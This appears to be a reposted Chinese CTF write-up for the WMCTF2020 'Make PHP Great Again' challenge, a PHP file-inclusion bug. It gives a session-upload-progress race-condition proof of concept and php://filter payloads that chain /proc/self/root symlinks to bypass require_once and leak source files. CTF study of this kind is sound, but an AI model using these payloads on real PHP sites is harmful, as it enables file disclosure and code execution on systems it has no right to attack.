wmctf2020 Make PHP Great Again


這個題目是之后趙師傅發了wp,自己進行復現的,因為自己比較菜,所以好多都是看師傅們的博客。
於是自己也來記錄記錄,下面還有一些問題,希望大佬們可以回答一下下。非常感謝!!!

題目代碼:

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  $a=($_GET['file']);
  require_once($a);
}

第一個是可以通過上傳PHP_SESSION_UPLOAD_PROGRESS
然后進行訪問/tmp/sess_xxx,進行文件包含
原理就是,條件競爭。如果不清楚看一看這篇文章利用session.upload_progress進行文件包含和反序列化滲透

#poc.php
<!DOCTYPE html>
<html>
<body>
<form action="http://localhost:8000/ctf/wmctf/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
    session_start();
?>

下面引用師傅們wp里面的照片

第二個方法是通過php的小truck
在這里有個小知識點,/proc/self指向當前進程的/proc/pid/,/proc/self/root/是指向/的符號鏈接,想到這里,用偽協議配合多級符號鏈接的辦法進行繞過。
直接構造payload

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

然后在群里面看到有師傅使用

?file=php://filter/convert.base64-encode/resource=/nice/../../proc/self/cwd/flag.php

這個原理自己太菜不知道,還希望師傅們可以解釋一下。

總結:
上面第一個方法的思想和我最近做的題有點像。
ctfshow
session序列化

參考:
https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649729209&idx=1&sn=78c1f6cf291e5cfca3088f02216ccffd&chksm=888c98d6bffb11c014d8f98437879564702bd35b100f4337cbdf1f3cff827edfa4b9a8672637&mpshare=1&scene=23&srcid=0812s60kjiOtHT66otXJWIHt&sharer_sharetime=1597388716474&sharer_shareid=33a823b10ae99f33a60db621d83241cb#rd
https://blog.frankli.site/2020/08/05/WMCTF2020-PHP-source-analysis/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM